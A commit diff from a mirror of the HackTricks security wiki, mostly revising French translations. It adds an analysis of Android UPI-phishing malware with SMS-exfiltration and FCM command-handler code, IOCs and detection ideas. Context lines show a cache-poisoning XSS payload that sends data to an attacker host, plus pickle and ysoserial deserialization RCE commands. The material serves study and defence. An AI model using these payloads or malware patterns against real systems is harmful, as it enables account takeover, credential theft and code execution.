mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
026849bf94
commit
aca8160d45
@ -28,7 +28,7 @@
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Les anciennes versions demandaient également des permissions SMS -->
|
||||
```
|
||||
* Les variantes récentes **suppriment `<uses-permission>` pour SMS de `AndroidManifest.xml`** mais laissent le chemin de code Java/Kotlin qui lit les SMS par réflexion ⇒ abaisse le score statique tout en restant fonctionnel sur les appareils qui accordent la permission via un abus de `AppOps` ou d'anciens cibles.
|
||||
* Les variantes récentes **suppriment `<uses-permission>` pour SMS de `AndroidManifest.xml`** mais laissent le chemin de code Java/Kotlin qui lit les SMS par réflexion ⇒ abaisse le score statique tout en restant fonctionnel sur les appareils qui accordent la permission via l'abus de `AppOps` ou d'anciens cibles.
|
||||
5. **Interface Facade & Collecte en Arrière-plan**
|
||||
* L'application montre des vues inoffensives (visualiseur de SMS, sélecteur de galerie) implémentées localement.
|
||||
* Pendant ce temps, elle exfiltre :
|
||||
@ -86,9 +86,127 @@ return conn;
|
||||
/upload.php # batched ZIP exfiltration
|
||||
LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
## Références
|
||||
---
|
||||
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
Ce modèle a été observé dans des campagnes abusant de thèmes liés aux aides gouvernementales pour voler des identifiants UPI indiens et des OTP. Les opérateurs enchaînent des plateformes réputées pour la livraison et la résilience.
|
||||
|
||||
### Chaîne de livraison à travers des plateformes de confiance
|
||||
- Appât vidéo YouTube → la description contient un lien court
|
||||
- Lien court → site de phishing GitHub Pages imitant le portail légitime
|
||||
- Le même dépôt GitHub héberge un APK avec un faux badge “Google Play” liant directement au fichier
|
||||
- Des pages de phishing dynamiques vivent sur Replit ; le canal de commande à distance utilise Firebase Cloud Messaging (FCM)
|
||||
|
||||
### Dropper avec charge utile intégrée et installation hors ligne
|
||||
- Le premier APK est un installateur (dropper) qui expédie le véritable malware à `assets/app.apk` et invite l'utilisateur à désactiver le Wi‑Fi/données mobiles pour atténuer la détection dans le cloud.
|
||||
- La charge utile intégrée s'installe sous une étiquette inoffensive (par exemple, “Mise à jour sécurisée”). Après l'installation, l'installateur et la charge utile sont présents en tant qu'applications séparées.
|
||||
|
||||
Astuce de triage statique (grep pour les charges utiles intégrées) :
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### Découverte dynamique des points de terminaison via un lien court
|
||||
- Le malware récupère une liste de points de terminaison actifs au format texte brut, séparée par des virgules, à partir d'un lien court ; des transformations de chaîne simples produisent le chemin final de la page de phishing.
|
||||
|
||||
Exemple (sanitisé) :
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||
```
|
||||
Pseudo-code:
|
||||
```java
|
||||
String csv = httpGet(shortlink);
|
||||
String[] parts = csv.split(",");
|
||||
String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### Collecte de données d'identification UPI basée sur WebView
|
||||
- L'étape “Effectuer un paiement de ₹1 / UPI‑Lite” charge un formulaire HTML de l'attaquant à partir du point de terminaison dynamique à l'intérieur d'un WebView et capture des champs sensibles (téléphone, banque, PIN UPI) qui sont `POST`és à `addup.php`.
|
||||
|
||||
Loader minimal :
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Auto-propagation et interception de SMS/OTP
|
||||
- Des autorisations agressives sont demandées au premier lancement :
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- Les contacts sont utilisés pour envoyer en masse des SMS de smishing depuis l'appareil de la victime.
|
||||
- Les SMS entrants sont interceptés par un récepteur de diffusion et téléchargés avec des métadonnées (expéditeur, corps, emplacement de la SIM, ID aléatoire par appareil) vers `/addsm.php`.
|
||||
|
||||
Receiver sketch:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
for (SmsMessage m: msgs){
|
||||
postForm(urlAddSms, new FormBody.Builder()
|
||||
.add("senderNum", m.getOriginatingAddress())
|
||||
.add("Message", m.getMessageBody())
|
||||
.add("Slot", String.valueOf(getSimSlot(i)))
|
||||
.add("Device rand", getOrMakeDeviceRand(c))
|
||||
.build());
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) comme C2 résilient
|
||||
- Le payload s'enregistre auprès de FCM ; les messages push contiennent un champ `_type` utilisé comme un interrupteur pour déclencher des actions (par exemple, mettre à jour les modèles de texte de phishing, basculer les comportements).
|
||||
|
||||
Exemple de payload FCM :
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
"data": {
|
||||
"_type": "update_texts",
|
||||
"template": "New subsidy message..."
|
||||
}
|
||||
}
|
||||
```
|
||||
Esquisse du gestionnaire :
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
String t = msg.getData().get("_type");
|
||||
switch (t){
|
||||
case "update_texts": applyTemplate(msg.getData().get("template")); break;
|
||||
case "smish": sendSmishToContacts(); break;
|
||||
// ... more remote actions
|
||||
}
|
||||
}
|
||||
```
|
||||
### Hunting patterns and IOCs
|
||||
- APK contient un payload secondaire à `assets/app.apk`
|
||||
- WebView charge le paiement depuis `gate.htm` et exfiltre vers `/addup.php`
|
||||
- Exfiltration SMS vers `/addsm.php`
|
||||
- Récupération de configuration via des liens courts (par exemple, `rebrand.ly/*`) retournant des points de terminaison CSV
|
||||
- Applications étiquetées comme “Mise à jour/Sécuriser la mise à jour”
|
||||
- Messages `data` FCM avec un discriminateur `_type` dans des applications non fiables
|
||||
|
||||
### Detection & defence ideas
|
||||
- Marquer les applications qui demandent aux utilisateurs de désactiver le réseau pendant l'installation puis chargent un second APK depuis `assets/`.
|
||||
- Alerter sur le tuple de permission : `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flux de paiement basés sur WebView.
|
||||
- Surveillance des sorties pour `POST /addup.php|/addsm.php` sur des hôtes non corporatifs ; bloquer l'infrastructure connue.
|
||||
- Règles EDR mobiles : application non fiable s'enregistrant pour FCM et se ramifiant sur un champ `_type`.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because one or more lines are too long
@ -37,7 +37,7 @@ Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cac
|
||||
|
||||
### Découverte : Identifier et évaluer les entrées non clés
|
||||
|
||||
Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui peuvent être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script depuis là :
|
||||
Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui pourraient être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
@ -47,7 +47,7 @@ Avec le paramètre/en-tête identifié, vérifiez comment il est **sanitisé** e
|
||||
|
||||
### Obtenir la réponse mise en cache
|
||||
|
||||
Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** en abuser, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
|
||||
Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** en abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
|
||||
|
||||
L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'est pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
|
||||
L'en-tête **`Cache-Control`** est également intéressant à connaître pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
|
||||
@ -63,7 +63,7 @@ Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que
|
||||
### Exemple le plus simple
|
||||
|
||||
Un en-tête comme `X-Forwarded-For` est réfléchi dans la réponse sans être sanitisé.\
|
||||
Vous pouvez envoyer une charge utile XSS basique et empoisonner le cache afin que tout le monde qui accède à la page sera XSSé :
|
||||
Vous pouvez envoyer une charge utile XSS de base et empoisonner le cache afin que tout le monde qui accède à la page sera XSSé :
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
@ -105,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Poisoning du cache avec traversée de chemin pour voler une clé API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Ce rapport explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.
|
||||
[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` car tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.
|
||||
|
||||
Cela est également mieux expliqué dans :
|
||||
|
||||
@ -152,7 +152,7 @@ Laboratoire Portswigger : [https://portswigger.net/web-security/web-cache-poison
|
||||
|
||||
### Exploitation de l'empoisonnement de cache HTTP en abusant du HTTP Request Smuggling
|
||||
|
||||
Apprenez ici comment effectuer des [attaques d'empoisonnement de cache en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
Apprenez ici comment effectuer [des attaques d'empoisonnement de cache en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Tests automatisés pour l'empoisonnement de cache Web
|
||||
|
||||
@ -162,7 +162,7 @@ Exemple d'utilisation : `wcvs -u example.com`
|
||||
|
||||
### XSS par réflexion d'en-tête + semis de cache assisté par CDN/WAF (User-Agent, .js auto-mis en cache)
|
||||
|
||||
Ce modèle du monde réel enchaîne un primitif de réflexion basé sur un en-tête avec le comportement CDN/WAF pour empoisonner de manière fiable le HTML mis en cache servi à d'autres utilisateurs :
|
||||
Ce modèle du monde réel enchaîne un primitif de réflexion basé sur l'en-tête avec le comportement CDN/WAF pour empoisonner de manière fiable le HTML mis en cache servi à d'autres utilisateurs :
|
||||
|
||||
- Le HTML principal a réfléchi un en-tête de requête non fiable (par exemple, `User-Agent`) dans un contexte exécutable.
|
||||
- Le CDN a supprimé les en-têtes de cache mais un cache interne/origine existait. Le CDN a également mis en cache automatiquement les requêtes se terminant par des extensions statiques (par exemple, `.js`), tandis que le WAF appliquait une inspection de contenu plus faible aux GET pour les actifs statiques.
|
||||
@ -183,8 +183,8 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
|
||||
Conseils opérationnels :
|
||||
|
||||
- De nombreux CDN cachent les en-têtes de cache ; le poisoning peut n'apparaître que lors de cycles de rafraîchissement de plusieurs heures. Utilisez plusieurs IP de vantage et limitez le débit pour éviter les déclencheurs de limite de taux ou de réputation.
|
||||
- Utiliser une IP du propre cloud du CDN améliore parfois la cohérence du routage.
|
||||
- Si un CSP strict est présent, cela fonctionne toujours si le reflet s'exécute dans le contexte HTML principal et que le CSP permet l'exécution en ligne ou est contourné par le contexte.
|
||||
- Utiliser une IP du cloud du CDN lui-même améliore parfois la cohérence du routage.
|
||||
- Si un CSP strict est présent, cela fonctionne toujours si la réflexion s'exécute dans le contexte HTML principal et que le CSP permet l'exécution en ligne ou est contourné par le contexte.
|
||||
|
||||
Impact :
|
||||
|
||||
@ -212,7 +212,7 @@ GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets G
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme le schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut entraîner un déni de service (DoS) pour cette ressource. De plus, l'application peut reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.
|
||||
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme le schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut provoquer un déni de service (DoS) pour cette ressource. De plus, l'application peut reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.
|
||||
|
||||
### 403 et Buckets de stockage
|
||||
|
||||
@ -220,7 +220,7 @@ Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à
|
||||
|
||||
### Injection de paramètres clés
|
||||
|
||||
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly a mis en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du deuxième paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.
|
||||
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du deuxième paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.
|
||||
|
||||
### Règles de l'agent utilisateur
|
||||
|
||||
@ -253,7 +253,7 @@ Un autre exemple très clair peut être trouvé dans cet article : [https://hack
|
||||
Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme _http://www.example.com/home.php/non-existent.css_, le contenu de _http://www.example.com/home.php_ (**avec les informations sensibles de l'utilisateur**) sera renvoyé et le serveur de cache enregistrera le résultat.\
|
||||
Ensuite, l'**attaquant** peut accéder à _http://www.example.com/home.php/non-existent.css_ dans son propre navigateur et observer les **informations confidentielles** des utilisateurs qui ont accédé auparavant.
|
||||
|
||||
Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_, le type de contenu sera `text/html` au lieu d'un type MIME `text/css` (qui est celui attendu pour un fichier _.css_).
|
||||
Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type MIME `text/css` (qui est celui attendu pour un fichier _.css_).
|
||||
|
||||
Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
|
@ -17,7 +17,7 @@ En PHP, des méthodes magiques spécifiques sont utilisées lors des processus d
|
||||
- `__sleep` : Invoquée lorsqu'un objet est en cours de sérialisation. Cette méthode doit retourner un tableau des noms de toutes les propriétés de l'objet qui doivent être sérialisées. Elle est couramment utilisée pour valider les données en attente ou effectuer des tâches de nettoyage similaires.
|
||||
- `__wakeup` : Appelée lorsqu'un objet est en cours de désérialisation. Elle est utilisée pour rétablir toute connexion à la base de données qui aurait pu être perdue lors de la sérialisation et effectuer d'autres tâches de réinitialisation.
|
||||
- `__unserialize` : Cette méthode est appelée à la place de `__wakeup` (si elle existe) lorsqu'un objet est en cours de désérialisation. Elle offre plus de contrôle sur le processus de désérialisation par rapport à `__wakeup`.
|
||||
- `__destruct` : Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou lorsque le script se termine. Elle est généralement utilisée pour des tâches de nettoyage, comme la fermeture de gestionnaires de fichiers ou de connexions à la base de données.
|
||||
- `__destruct` : Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou lorsque le script se termine. Elle est généralement utilisée pour des tâches de nettoyage, comme la fermeture des poignées de fichiers ou des connexions à la base de données.
|
||||
- `__toString` : Cette méthode permet à un objet d'être traité comme une chaîne. Elle peut être utilisée pour lire un fichier ou d'autres tâches basées sur les appels de fonction à l'intérieur, fournissant ainsi une représentation textuelle de l'objet.
|
||||
```php
|
||||
<?php
|
||||
@ -74,7 +74,7 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lorsque vous essayez d'imprimer un attribut, mais apparemment cela **n'arrive plus**.
|
||||
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lors de la tentative d'impression d'un attribut, mais apparemment cela **n'arrive plus**.
|
||||
|
||||
> [!WARNING]
|
||||
> La méthode **`__unserialize(array $data)`** est appelée **au lieu de `__wakeup()`** si elle est implémentée dans la classe. Elle vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser des propriétés et effectuer toutes les tâches nécessaires lors de la désérialisation.
|
||||
@ -135,7 +135,7 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
Si **`allowed_classes` est omis _ou_ le code s'exécute sur PHP < 7.0**, l'appel devient **dangereux** car un attaquant peut créer un payload qui abuse des méthodes magiques telles que `__wakeup()` ou `__destruct()` pour obtenir une exécution de code à distance (RCE).
|
||||
Si **`allowed_classes` est omis _ou_ le code s'exécute sur PHP < 7.0**, l'appel devient **dangereux** car un attaquant peut créer une charge utile qui abuse des méthodes magiques telles que `__wakeup()` ou `__destruct()` pour atteindre l'exécution de code à distance (RCE).
|
||||
|
||||
#### Exemple du monde réel : Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
@ -186,7 +186,7 @@ Pour plus d'informations, lisez le post suivant :
|
||||
|
||||
### **Pickle**
|
||||
|
||||
Lorsque l'objet est dé-picklé, la fonction \_\_\_reduce\_\_\_ sera exécutée.\
|
||||
Lorsque l'objet est désérialisé, la fonction \_\_\_reduce\_\_\_ sera exécutée.\
|
||||
Lorsqu'il est exploité, le serveur pourrait renvoyer une erreur.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
@ -335,7 +335,7 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Le package **serialize-javascript** est conçu exclusivement pour des fins de sérialisation, sans capacités de désérialisation intégrées. Les utilisateurs sont responsables de la mise en œuvre de leur propre méthode de désérialisation. Une utilisation directe de `eval` est suggérée par l'exemple officiel pour désérialiser des données sérialisées :
|
||||
Le package **serialize-javascript** est conçu exclusivement pour des fins de sérialisation, sans aucune capacité de désérialisation intégrée. Les utilisateurs sont responsables de la mise en œuvre de leur propre méthode de désérialisation. Une utilisation directe de `eval` est suggérée par l'exemple officiel pour désérialiser des données sérialisées :
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -375,7 +375,7 @@ En Java, **les rappels de désérialisation sont exécutés pendant le processus
|
||||
Pour identifier les vulnérabilités potentielles de sérialisation dans le code, recherchez :
|
||||
|
||||
- Des classes qui implémentent l'interface `Serializable`.
|
||||
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
|
||||
|
||||
Faites particulièrement attention à :
|
||||
|
||||
@ -483,7 +483,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Lors de la création d'un payload pour **java.lang.Runtime.exec()**, vous **ne pouvez pas utiliser de caractères spéciaux** comme ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même **passer des arguments** à une commande séparés par **des espaces** (vous pouvez faire `echo -n "hello world"` mais vous ne pouvez pas faire `python2 -c 'print "Hello world"'`). Pour encoder correctement le payload, vous pourriez [utiliser cette page web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Lors de la création d'un payload pour **java.lang.Runtime.exec()**, vous **ne pouvez pas utiliser de caractères spéciaux** comme ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même **passer des arguments** à une commande séparés par **des espaces** (vous pouvez faire `echo -n "hello world"` mais vous ne pouvez pas faire `python2 -c 'print "Hello world"'`). Afin d'encoder correctement le payload, vous pourriez [utiliser cette page web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
N'hésitez pas à utiliser le script suivant pour créer **tous les payloads d'exécution de code possibles** pour Windows et Linux, puis testez-les sur la page web vulnérable :
|
||||
```python
|
||||
@ -513,7 +513,7 @@ Vous pouvez **utiliser** [**https://github.com/pwntester/SerialKillerBypassGadge
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) peut être utilisé pour générer des charges utiles afin d'exploiter différentes bibliothèques de sérialisation **Json** et **Yml** en Java.\
|
||||
Pour compiler le projet, j'ai dû **ajouter** ces **dépendances** à `pom.xml`:
|
||||
Pour compiler le projet, j'ai dû **ajouter** ces **dépendances** à `pom.xml` :
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -550,7 +550,7 @@ Java utilise beaucoup de sérialisation pour divers objectifs comme :
|
||||
- **RMI (Remote Method Invocation)** : Le protocole RMI de Java, qui repose entièrement sur la sérialisation, est un pilier de la communication à distance dans les applications Java.
|
||||
- **RMI sur HTTP** : Cette méthode est couramment utilisée par les applications web clientes lourdes basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
|
||||
- **JMX (Java Management Extensions)** : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
|
||||
- **Protocoles personnalisés** : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les exemples d'exploitation à venir.
|
||||
- **Protocoles personnalisés** : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les prochains exemples d'exploitation.
|
||||
|
||||
### Prévention
|
||||
|
||||
@ -599,7 +599,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Utilisation d'un agent Java pour l'amélioration de la sécurité** offre une solution de secours lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement à **la mise sur liste noire des classes nuisibles**, en utilisant un paramètre JVM :
|
||||
**Utilisation d'un agent Java pour l'amélioration de la sécurité** offre une solution de repli lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement à **la mise sur liste noire des classes nuisibles**, en utilisant un paramètre JVM :
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -621,7 +621,7 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Exploitation des bibliothèques externes pour une sécurité renforcée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la mise en liste blanche ou en liste noire de classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
|
||||
**Exploitation des bibliothèques externes pour une sécurité renforcée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la mise en liste blanche ou noire de classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
|
||||
|
||||
- **NotSoSerial** intercepte les processus de désérialisation pour empêcher l'exécution de code non fiable.
|
||||
- **jdeserialize** permet l'analyse d'objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant.
|
||||
@ -638,7 +638,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Document sur la désérialisation JSON Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** discussion : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Document sur la désérialisation JSON Java et .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** discussion : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVEs de désérialisation : [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Injection JNDI & log4Shell
|
||||
@ -679,7 +679,7 @@ L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se
|
||||
|
||||
## .Net
|
||||
|
||||
Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés en Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet.
|
||||
